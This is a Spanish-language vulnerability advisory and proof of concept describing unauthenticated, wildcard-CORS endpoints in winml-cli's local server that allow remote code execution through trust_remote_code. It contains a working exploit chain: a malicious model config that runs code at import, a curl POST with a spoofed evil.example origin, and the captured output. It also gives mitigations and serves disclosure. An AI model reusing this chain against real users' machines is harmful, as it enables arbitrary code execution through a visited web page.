Descripción general
Se ha identificado una vulnerabilidad crítica en el componente serve/cli_api.py del proyecto winml-cli de Microsoft. Este componente expone la totalidad de los comandos CLI de winml sobre HTTP sin ningún mecanismo de autenticación. Aunque el servidor se enlaza a 127.0.0.1 por defecto, establece allow_origins=["*"], lo que permite que cualquier sitio web interactúe con el endpoint y lea las respuestas, eliminando por completo la barrera de seguridad que debería proporcionar el enlace al loopback.
Componentes afectados
La vulnerabilidad afecta directamente a los siguientes archivos del proyecto:
serve/cli_api.py(línea 150): configuración CORS con wildcard.app.py(línea 219): duplicación de la misma configuración permisiva._autoconfig.py(línea 191): punto de ejecución de código remoto medianteAutoConfig.from_pretrained(..., trust_remote_code=True).
Causa raíz
La causa raíz es doble. Por un lado, la ausencia de autenticación en los endpoints HTTP expuestos localmente. Por otro, la falta de validación del parámetro trust_remote_code: un valor JSON true se convierte directamente en el flag --trust-remote-code sin ningún filtrado ni sanitización. Los comandos build y config aceptan este parámetro, y cuando se invoca AutoConfig.from_pretrained con trust_remote_code=True, la librería transformers importa código Python directamente desde el repositorio de modelos especificado, que puede ser controlado por un atacante.
Mecanismo de explotación
Un atacante que consiga que la víctima visite una página web maliciosa puede realizar las siguientes acciones desde el contexto del navegador de la víctima:
- Realizar una petición POST al endpoint local
http://127.0.0.1:8000/v1/cli/buildcon un cuerpo JSON que especifique un repositorio de modelos malicioso ytrust_remote_code: true. - Gracias a la cabecera
access-control-allow-origin: *, el navegador permite la petición cross-origin y la respuesta es legible por el script atacante. - El servidor invoca
AutoConfig.from_pretrainedsobre el repositorio malicioso, lo que provoca la importación del módulo Python del atacante. - El payload se ejecuta a nivel de módulo en el momento de la importación, por lo que el código arbitrario corre incluso si el comando devuelve
exit_code: 1.
El resultado es RCE con los privilegios del usuario que ejecuta el servidor winml-cli.
Pasos de reproducción
1. Configuración del entorno
git clone -q https://github.com/microsoft/winml-cli.git ~/winml-poc && cd ~/winml-poc && mkdir -p temp /tmp/poc/evil/pwn
python3 -m pip install -q --target /tmp/poc/deps onnx onnxruntime transformers fastapi uvicorn click
2. Repositorio de modelo malicioso
El payload se ejecuta a nivel de módulo, es decir, en el momento de la importación:
cat > /tmp/poc/evil/pwn/config.json <<'EOF'
{"model_type":"pwn","auto_map":{"AutoConfig":"configuration_pwn.PwnConfig"}}
EOF
cat > /tmp/poc/evil/pwn/configuration_pwn.py <<'EOF'
import getpass, os, socket, time
from transformers import PretrainedConfig
with open(os.environ["PWN_MARKER"], "w") as f:
f.write(f"ARBITRARY CODE EXECUTION\ntime={time.strftime('%F %T')}\n"
f"user={getpass.getuser()}\nhost={socket.gethostname()}\npid={os.getpid()}\n")
class PwnConfig(PretrainedConfig):
model_type = "pwn"
EOF
3. Inicio del servidor
En Windows:
python -m uvicorn winml.modelkit.serve.cli_api:app --host 127.0.0.1 --port 8000
En Linux es necesario un stub para el módulo PDH exclusivo de Windows (sin relevancia de seguridad):
import os, sys, types, uvicorn
m = types.ModuleType("winml.modelkit.session.monitor._pdh")
class PdhPoller:
def __init__(s,*a,**k): pass
def start(s,*a,**k): pass
def stop(s,*a,**k): pass
def poll(s,*a,**k): return {}
def sample(s,*a,**k): return {}
def close(s,*a,**k): pass
m.PdhPoller = PdhPoller; m.PDH_AVAILABLE = False
sys.modules["winml.modelkit.session.monitor._pdh"] = m
from winml.modelkit.serve.cli_api import app
uvicorn.run(app, host="127.0.0.1", port=8000, log_level="warning")
cd ~/winml-poc && PWN_MARKER=~/winml-poc/temp/PWNED PYTHONPATH=src:/tmp/poc/deps setsid nohup python3 /tmp/poc/serve.py >/tmp/poc/log 2>&1 </dev/null &
sleep 8; until curl -sf -o /dev/null -m 1 http://127.0.0.1:8000/openapi.json; do sleep 1; done; echo up
4. Explotación
curl -s -D- -o /dev/null -X POST http://127.0.0.1:8000/v1/cli/build \
-H 'Origin: https://evil.example' -H 'Content-Type: application/json' \
-d '{"args":{"model":"/tmp/poc/evil/pwn","output_dir":"/tmp/poc/out","trust_remote_code":true}}' \
| grep -iE '^HTTP|^access-control-allow-origin'
cat ~/winml-poc/temp/PWNED
Salida obtenida durante la prueba de concepto:
HTTP/1.1 200 OK
access-control-allow-origin: *
ARBITRARY CODE EXECUTION
time=2026-08-17 11:24:35
user=shrini host=Shrinivasan pid=11616
Impacto
Cualquier página web que la víctima visite puede invocar los endpoints locales de winml-cli y provocar la ejecución de código arbitrario con los privilegios del usuario que ejecuta el servidor. No se requiere ninguna interacción adicional por parte de la víctima más allá de cargar la página maliciosa. El payload se ejecuta en el momento de la importación del módulo, lo que hace que el ataque sea efectivo independientemente del código de salida del comando.
Recomendaciones
Para mitigar esta vulnerabilidad se recomienda: restringir la cabecera allow_origins a orígenes explícitamente permitidos en lugar de usar wildcard; implementar autenticación en todos los endpoints HTTP expuestos por cli_api.py; validar y rechazar el parámetro trust_remote_code cuando provenga de peticiones externas; y considerar deshabilitar por completo la exposición HTTP de comandos CLI en entornos de producción.
